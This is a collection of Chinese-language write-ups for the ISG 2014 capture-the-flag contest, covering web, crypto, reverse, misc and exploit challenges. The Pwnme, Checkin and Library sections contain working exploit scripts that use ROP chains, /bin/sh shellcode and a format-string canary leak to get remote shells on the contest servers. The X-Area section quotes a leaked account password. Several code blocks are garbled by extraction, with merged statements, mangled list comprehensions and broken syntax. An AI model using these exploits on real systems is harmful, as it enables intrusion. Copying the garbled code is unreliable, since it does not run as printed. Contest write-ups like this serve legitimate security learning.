ISG2014 Writeups

wyzsk發表於2020-08-19
作者: Sasiki · 2014/10/11 17:33

所有檔案打包下載:ISG.zip

Smile Web 200

php 原始碼審計

enter image description here

Cryptobaby Crypto 100

按照程式邏輯,把 0x403018 處的資料按 131 進位制分開成字元即可。

Pwnme Exploit 300

漏洞為很明顯的棧溢位,但沒有提供 libc,需要自行獲取 libc 中的函式地址。

在這裡我們使用 pwntools 來獲取 system 的地址,把引數寫在 data 段並最終執行。

執行 system 時有很奇怪的偏移問題這裡稍微調整了一下最後執行 system gadget 在棧上的位置。

#!python
#!/usr/bin/env python2
from zio import * 
from pwn import *

@MemLeak
def leak_write(addr):
    io.read_until('Pwn me if you can:\n')
    payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
l64(write_plt) + l64(main) 
    io.write(payload.ljust(0x100, 'A'))
    ret = io.read(256) 
    return ret

target = './pwnme'
target = ('202.120.7.69', 34343)

poprdi = 0x400663
poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
write_got = 0x601018
write_plt = 0x400480
main = 0x4005bd
junk = 'J' * 8
data = 0x601040
read_plt = 0x4004a0

io = zio(target, print_read=False, print_write=False, timeout=100000)

elf = DynELF('./pwnme', leak_write) 
system = elf.lookup('system') 
log.success('system: %s' % hex(system))

io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
io.write(payload.ljust(0x100, 'A'))
io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
io.interact()

SQLMAP Misc 100

題目提供了 sqlmap 執行時的流量,按照 SQL 語句及執行結果推斷每個位元組即可。

#!python
#!/usr/bin/env python2

import sys, re

def remove(idx, sign, value):
    sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256) 
    for i in sub:
      if i in ans[idx]: 
          ans[idx].remove(i)

f = open(sys.argv[1]).read().strip().split('\n') 
f = map(lambda x: x.split(':', 2)[1:], f)
ans = [set(xrange(256)) for _ in xrange(40)]

for x in f:
    sql = x[0]
    mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql) 
    if mo:
        idx, sign, v = mo.groups() 
        idx = int(idx)
        v = int(v)
        #print idx, sign, v
        if len(x[1].strip()) == 0:
            remove(idx, sign, v) 
        else:
            if sign == '<':
                remove(idx, '>', v - 1)
            else:
                remove(idx, '<', v + 1)

for i in xrange(len(ans)): 
    if len(ans[i]) == 1:
        sys.stdout.write(chr(list(ans[i])[0]))
print

###WANGRANGE Reverse 100

逆向發現,輸出只和所有輸入字元的 XOR 結果和字元長度有關,要構造“ISG{”開頭的輸出,首先 解出 4 個關鍵的數,然後依次生成完整的輸出字串。

#!python
#!/usr/bin/env python2
dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'} 
for i in xrange(10):
    dict_[chr(ord('A') + i)] = str(i)

def calc(num, s): 
    ss = ''
    count = 0
    for i in xrange(len(s)):
        ss += dict_[s[i]] 
        if s[i] == ' ':
            count += 1 
    if ss[0] in '0123456789'
        ss = str(num) + '+' + ss 
    else:
        ss = str(num) + ss
    ss = count * 2 * '(' + ss 
    return ss

exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read() 
data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
i=0
lines = []
for line in data.split('\x20\0'):
    line = line.replace('\0' , '' ).strip()
    if line != '':
        lines.append(line) 
        i += 1

PREFIX = 'ISG{' 
keys = {}
for i in xrange(4):
    for k in xrange(256):
        if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
            keys[i] = k

flag = ''
for i in xrange(len(lines)):
    c = chr(eval(calc(keys[i % 4], lines[i])) % 256) 
    flag += c

print ' % flag

哼!Misc 200

發現附件中有兩張圖片,分別另存為 bmp 後做 diff 發現左下角處的畫素不同,其中一張固定為 0 或 1。把不同部分的 01 串提取出來按 8bit 組成一個位元組即為 flag。

Chopper Misc 100

把流量中下載 x.tar.gz 部分提取出來解壓即為 flag。

RSA SYSTEM Crypto 250

使用選擇密文攻擊的方法即可。

#!python
#!/usr/bin/env python2
from zio import * 
import fractions

def encrypt(x): 
    io.read_until('Command:\n') 
    io.writeline('1') 
    io.read_until('Input Plaintext:\n') 
    io.writeline(str(x)) 
    io.read_until('Your ciphertext:\n') 
    return int(io.readline())

def secret(): 
    io.read_until('Command:\n') 
    io.writeline('3') 
    io.read_until('I have no bug\n') 
    return int(io.readline())

def decrypt(x): 
    io.read_until('Command:\n') 
    io.writeline('2') 
    io.read_until('Input Ciphertext:\n') 
    io.writeline(str(x)) 
    io.read_until('Your plaintext:\n') 
    return int(io.readline())

HOST = '202.120.7.71'
PORT = 43434
io = zio((HOST, PORT))
t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
ans = secret() * encrypt(2) % n
ans = decrypt(ans)
print hex(ans / 2)[2:-1].decode('hex')

Find Shell Web 200

windows + apache2 短檔名,上傳任意檔案後用檔名 md5 的前 6 位加上~1 即可訪問到上傳 的東西,內容即是 FLAG。

Track4! Reverse 200

先透過逆向大致看懂程式邏輯,考慮到 FLAG 包含 ISG{},可以從 trace 中定位到 00401178 處含 有 flag。把第 8,16,24,...次執行到該語句時的字元拼起來即為 flag。

X-Area Web 300

首先是社工部分,可以找到 [email protected] 的密碼洩露過,是 zasada911,但很想吐 槽的是為啥這個密碼是 zasada。。。。

進去之後就是簡單的 php 原始碼審計,需要跑一個 hash,然後解碼:

enter image description here

enter image description here

AFERE Misc 200

使用這個工具解壓 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering

驗證演算法為 DES+base64 的簡單替換,寫指令碼求解即可。

#!python
#!/usr/bin/env python2
from base64 import b64decode 
from Crypto.Cipher import DES

base64_chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
chars ='S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
dict_ = {}
for i in xrange(len(chars)):
    dict_[chars[i]] = base64_chars[i]

ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
new_ciphertext = ''
for c in ciphertext:
    new_ciphertext += dict_[c][/c]

ciphertext = b64decode(new_ciphertext) 
key = 'Mem3d4Da'
des = DES.new(key, DES.MODE_ECB)
flag = des.decrypt(ciphertext)
print ' % flag : s%' % flag

###Checkin Exploit 200

除錯發現,在溢位函式的返回點上,輸入字串的結尾 8 位元組儲存在了 rbp 中,因此在這裡儲存 上/bin/sh,再構造 shellcode 即可。

#!python
#!/usr/bin/env python2
from zio import *

# shellcode(rbp => '/bin//sh'): 
#a: 99              cltd
#b: 89 de           mov %ebx,%esi 
#d: 53              push %rbx
#e: 55              push %rbp
#f: 48 89 e7        mov %rsp,%rdi 
#12: 6a 3b          pushq $0x3b
#14: 58             pop %rax
#15: 0f 05          syscall    

call_rax = 0x40070d
shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'

host = '202.120.7.73' 
port = 44445
io = zio((host, port))

payload = shellcode + l64(call_rax)[:6] 
io.write(payload)

io.interact()

GIF Misc 50

GIF 第二幀為一二維碼,內容即為 flag。

丫丫 Crypto 400

流量中包含了 7 組公鑰和密文。考慮到 e=3,使用 Håstad's Broadcast Attack 方法,可使用中國剩餘定理對原文求解。發現 7 組原文並不完全相同,從中列舉 3 個嘗試解密最終獲得 flag。

#!python
#!/usr/bin/env python2
from operator import mod, mul, sub, add 
import re, os, collections, sys
import fractions
import itertools

def eea(a,b):
    """Extended Euclidean Algorithm for GCD""" 
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
        p = v1[0]//v2[0] # floor division
        v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2 
    return v1

def inverse(m,k): 
    """
    Return b such that b*m mod k = 1, or 0 if no solution 
    """
    v = eea(m,k)
    return (v[0]==1)*(v[1] % k)

def crt(ms, _as): 
    """
    Chinese Remainder Theorem:
    ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
    (ai is 'each in as', mi 'each in ms')

    The solution for x modulo M (M = product of ms) will be:
    x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
    where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r. 
    """

    M = reduce(mul,ms) # multiply ms together 
    Ms=[M/miformiinms] #listofallM/mi
    ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea 
    return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M

def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n 
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2 
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
                high = mid
        else:
            return mid
    return mid + 1

div = []
rem = []

dic = collections.defaultdict(dict) 
base_dir = sys.argv[1]

for i in os.listdir(base_dir):
    if re.search('getEncryptionKey.*\.php', i):
        f = open(base_dir + '/' + i).read()
        n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups() 
        dic[rkey]['n'] = int(n, 16)

    if re.search('login.*\.php', i):
        f = open(base_dir + '/' + i).read()
        c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups() 
        dic[rkey]['c'] = int(c, 16)

for rkey in itertools.combinations(dic, 3):
    div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
    cube = crt(div, rem)
    for i in xrange(3):
        assert cube % div[i] == rem[i]

    x = find_invpow(cube, 3) 
    if x ** 3 != cube:
        continue
    print hex(x)[3:-1].decode('hex')

BT Reverse 350

#!python
#!/usr/bin/env python2

s="g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]

class Node: pass

def construct(it): 
    character = next(it) 
    if character != ' ':
        node = Node() 
        node.character = character 
        node.left = construct(it) 
        node.right = construct(it) 
        return node

it = iter(s)


root = construct(it) 
assert len(list(it)) == 0

lookup = {}
def traverse(node, depth, num):
    lookup[num] = node.character 
    depth += 1
    if node.left:
        traverse(node.left, depth, num + 48 * depth) 
    if node.right:
        traverse(node.right, depth, num + 49 * depth) 

traverse(root, depth=0, num=0)

print ''.join(lookup[x] for x in msg)

###Out of Space Misc 200

對.net 程式分析可知需要計算’ISG’* 0xfa00000000 的 sha1。於是寫程式計算即可。需要注意.net 中的格式輸出問題。

#!cpp
#include <openssl/sha.h> 
#include <cstdio> 
#include <cstring>

int main() {
    SHA_CTX c;
    SHA1_Init(&c);
    static const long BUF_SIZE = 3 << 10; 
    char buf[BUF_SIZE];
    for (int i = 0; i < BUF_SIZE; i += 3)
        memcpy(buf + i, "ISG", 3);
    long dest = 0xfa00000000L;
    long total = dest / (BUF_SIZE / 3);

    for (long i = 0; i < total; ++i) { 
        SHA1_Update(&c, buf, BUF_SIZE); 
        if (i % 0x100000 == 0)
            printf("%ld / %ld\n", i, total);
    }
    unsigned char ans[SHA_DIGEST_LENGTH]; 
    SHA1_Final(ans, &c);
    printf("ISG{");
    printf("%02x", ans[0]);
    for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
        printf("-%02x", ans[i]); 
    printf("}\n");
    return 0; 
}



Library Exploit 250

在 register 功能中只能輸入 15 位元組長度來觸發格式化字串漏洞,且%字元數量有限,因此考慮 用格式化字串漏洞洩露出 stack canary,並將某關鍵計數改大,然後再利用 query 功能中的棧 溢位來獲取 shell。

#!python
#!/usr/bin/env python2
from zio import *

target = ('202.120.7.68', 23333)
io = zio(target, print_read=False, print_write=False) 

count_addr = 0x804b008

io.read_until('4. Quit\n') 
io.write('1\n')

payload = l32(count_addr + 3) + '%35$p%10$hn\n' 
io.write(payload)
io.read_until('0x')
canary = io.read(8).decode('hex')[::-1]
print '[+] canary : %s' % canary.encode('hex')
io.read_until('4. Quit\n')

put_plt = 0x8048520 
printf_got = 0x804afc8 
read_plt = 0x80484d0 
junk = 'JJJJ'
popret = 0x8048c3f
pop3ret = 0x8048c3d
new_stack = 0x804bf30
leave_ret = 0x8048aa6


io.write('2\n')
payload = 'A' * 0x100 + canary + 'A' * 12
payload += l32(put_plt) + l32(popret) + l32(printf_got)
payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
payload += l32(popret) +  l32(new_stack) + l32(leave_ret)
payload += '\n'

io.write(payload) 
io.read_until(':\'(\n')
printf = l32(io.read(4))
print '[+] printf : %s' % hex(printf)
system = printf - 0x4d1f0 + 0x40100 
binsh = printf - 0x4d1f0 + 0x161304 
print '[+] system : %s' % hex(system) 
print '[+] binsh : %s' % hex(binsh)

payload = junk + l32(system) + junk + l32(binsh) 
io.write(payload.ljust(32, 'A'))

io.interact()

Safesite Web 400

Up-to-Date Web 100

bash 漏洞,flag 在/var/www 下 

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!